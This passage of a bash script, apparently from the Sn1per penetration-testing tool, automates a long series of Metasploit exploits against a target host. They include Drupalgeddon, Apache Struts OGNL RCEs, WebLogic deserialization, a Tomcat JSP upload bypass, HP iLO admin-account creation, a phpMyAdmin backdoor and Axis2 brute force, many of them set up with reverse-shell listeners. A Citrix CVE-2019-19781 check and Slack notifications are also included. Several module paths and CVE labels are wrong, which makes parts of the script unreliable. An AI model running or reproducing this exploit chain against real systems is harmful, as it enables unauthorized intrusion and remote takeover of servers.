rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING HP ILO AUTH BYPASS EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use admin/hp/hp_ilo_create_admin_account; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ELASTICSEARCH DYNAMIC SCRIPT JAVA INJECTION EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/elasticsearch/script_mvel_rce; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING DRUPALGEDDON HTTP PARAMETER SQL INJECTION CVE-2014-3704 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/http/drupal_drupageddon; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; setg URI /drupal/; setg TARGETURI /drupal/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING MS15-034 HTTP.SYS MEMORY LEAK EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use scanner/http/ms15_034_http_sys_memory_dump; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-ms15_034_http_sys_memory_dump.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-ms15_034_http_sys_memory_dump.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-ms15_034_http_sys_memory_dump.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-ms15_034_http_sys_memory_dump.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING GLASSFISH ADMIN TRAVERSAL EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use scanner/http/glassfish_traversal; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING BADBLUE PASSTHRU METASPLOIT EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/windows/http/badblue_passthru; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING PHP CGI ARG INJECTION METASPLOIT EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/http/php_cgi_arg_injection; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING PHPMYADMIN METASPLOIT EXPLOITS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/http/phpmyadmin_3522_backdoor; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg RHOST "$TARGET"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; use exploit/unix/webapp/phpmyadmin_config; run; use multi/htp/phpmyadmin_preg_replace; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING AXIS2 ADMIN BRUTE FORCE SCANNER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use scanner/http/axis_login; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg RHOST "$TARGET"; setg USERNAME admin; setg PASS_FILE "$PASS_FILE"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-axis_login.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-axis_login.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-axis_login.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-axis_login.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING AXIS2 AUTHENTICATED DEPLOYER RCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use multi/http/axis2_deployer; setg RHOSTS "$TARGET"; set FingerprintCheck false; setg RPORT "$PORT"; setg RHOST "$TARGET"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-axis2_deployer.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-axis2_deployer.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-axis2_deployer.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-axis2_deployer.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING JOOMLA COMFIELDS SQL INJECTION METASPLOIT CVE-2017-8917 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use unix/webapp/joomla_comfields_sqli_rce; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING WORDPRESS REST API CONTENT INJECTION CVE-2017-5612 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use auxiliary/scanner/http/wordpress_content_injection; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ORACLE WEBLOGIC WLS-WSAT DESERIALIZATION RCE CVE-2017-10271 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING APACHE STRUTS JAKARTA OGNL INJECTION CVE-2017-5638 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use multi/http/struts2_content_type_ognl; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; set TARGETURI /orders/3; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING APACHE STRUTS 2 SHOWCASE OGNL RCE CVE-2017-9805 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/http/struts2_rest_xstream; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; set TARGETURI /orders/3; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING APACHE STRUTS 2 REST XSTREAM RCE CVE-2017-9791 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/http/struts2_code_exec_showcase; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; set TARGETURI /orders/3; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING APACHE TOMCAT CVE-2017-12617 RCE EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/http/tomcat_jsp_upload_bypass; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING APACHE STRUTS 2 NAMESPACE REDIRECT OGNL INJECTION CVE-2018-11776 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/http/struts2_namespace_ognl; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CISCO ASA TRAVERSAL CVE-2018-0296 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use auxiliary/scanner/http/cisco_directory_traversal; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING DRUPALGEDDON2 CVE-2018-7600 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/unix/webapp/drupal_drupalgeddon2; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; setg URI /drupal/; setg TARGETURI /drupal/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ORACLE WEBLOGIC SERVER DESERIALIZATION RCE CVE-2018-2628 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/misc/weblogic_deserialize; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING OSCOMMERCE INSTALLER RCE CVE-2018-2628 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/http/oscommerce_installer_unauth_code_exec; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING DRUPAL REST UNSERIALIZE CVE-2019-6340 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use unix/webapp/drupal_restws_unserialize; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; setg URI /drupal/; setg TARGETURI /drupal/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_restws_unserialize.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_restws_unserialize.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_restws_unserialize.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_restws_unserialize.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING JAVA RMI SCANNER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use auxiliary/scanner/misc/java_rmi_server; setg RHOSTS \"$TARGET\"; set RPORT \"$PORT\"; run; back; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING PULSE SECURE VPN ARBITRARY FILE DISCLOSURE EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use gather/pulse_secure_file_disclosure; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING CITRIX GATEWAY ARBITRARY CODE EXECUTION VULNERABILITY CVE-2019-19781 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -vk --path-as-is https://$TARGET/vpn/../vpns/ 2>&1 | grep "You don’t have permission to access /vpns/" >/dev/null && echo "VULNERABLE: $TARGET" | tee $LOOT_DIR/output/cve-2019-19781-$TARGET-port$PORT.txt || echo "MITIGATED: $TARGET" | tee $LOOT_DIR/output/cve-2019-19781-$TARGET-port$PORT.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per webpwn scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
|
||||
|
|
@ -0,0 +1,335 @@
|
|||
# WEBPORTHTTP MODE #####################################################################################################
|
||||
if [[ "$MODE" = "webporthttp" ]]; then
|
||||
